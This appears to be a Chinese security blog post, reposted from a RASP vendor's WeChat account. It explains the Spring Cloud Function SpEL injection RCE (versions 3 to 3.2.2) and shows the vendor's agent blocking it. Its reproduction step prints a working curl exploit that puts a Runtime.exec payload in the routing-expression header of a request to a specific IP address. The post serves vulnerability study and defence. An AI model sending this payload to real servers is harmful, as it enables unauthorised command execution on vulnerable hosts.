漏洞简介
SpringCloudFunction是一个SpringBoot开发的Servless中间件（FAAS），支持基于SpEL的函数式动态路由。在特定配置下，存在SpEL表达式执行导致的RCE。
影响版本
3 <= 版本 <= 3.2.2（ commit dc5128b) 之前
漏洞原理
在 main 分支commit dc5128b（https://github.com/spring-cloud/spring-cloud-function/commit/dc5128b80c6c04232a081458f637c81a64fa9b52）中，新增了 SimpleEvaluationContext
同样的，官方测试用例已经清楚地写明了漏洞位置与Payload：
提取出测试类后在apply方法下断并跟入，省略一些中间流程，最终可以看到从HTTP头spring.cloud.function.routing-expression 中取出SpEL表达式并由 StandardEvaluationContext 解析。
漏洞复现
改造官方提供的sample来复现漏洞（切换tag v3.2.1）
启动 java 进程，并开启动态注入：
发送攻击请求
curl --location --request POST 'http://49.235.111.228:8080/functionRouter'--header 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("open /Applications/QQ.app")'--header 'Content-Type: text/plain'--data 'Hello'
RASP防护
请求被阻断：
查看攻击详情:
攻击信息：
攻击详情：
调用栈：
请求附带信息：
官网：http://www.jrasp.com
github：https://github.com/jvm-rasp/jrasp-agent
加入技术交流群请添加微信：sear2022
原文始发于微信公众号（RASP安全技术）：RASP | Spring Cloud Function 表达式注入漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论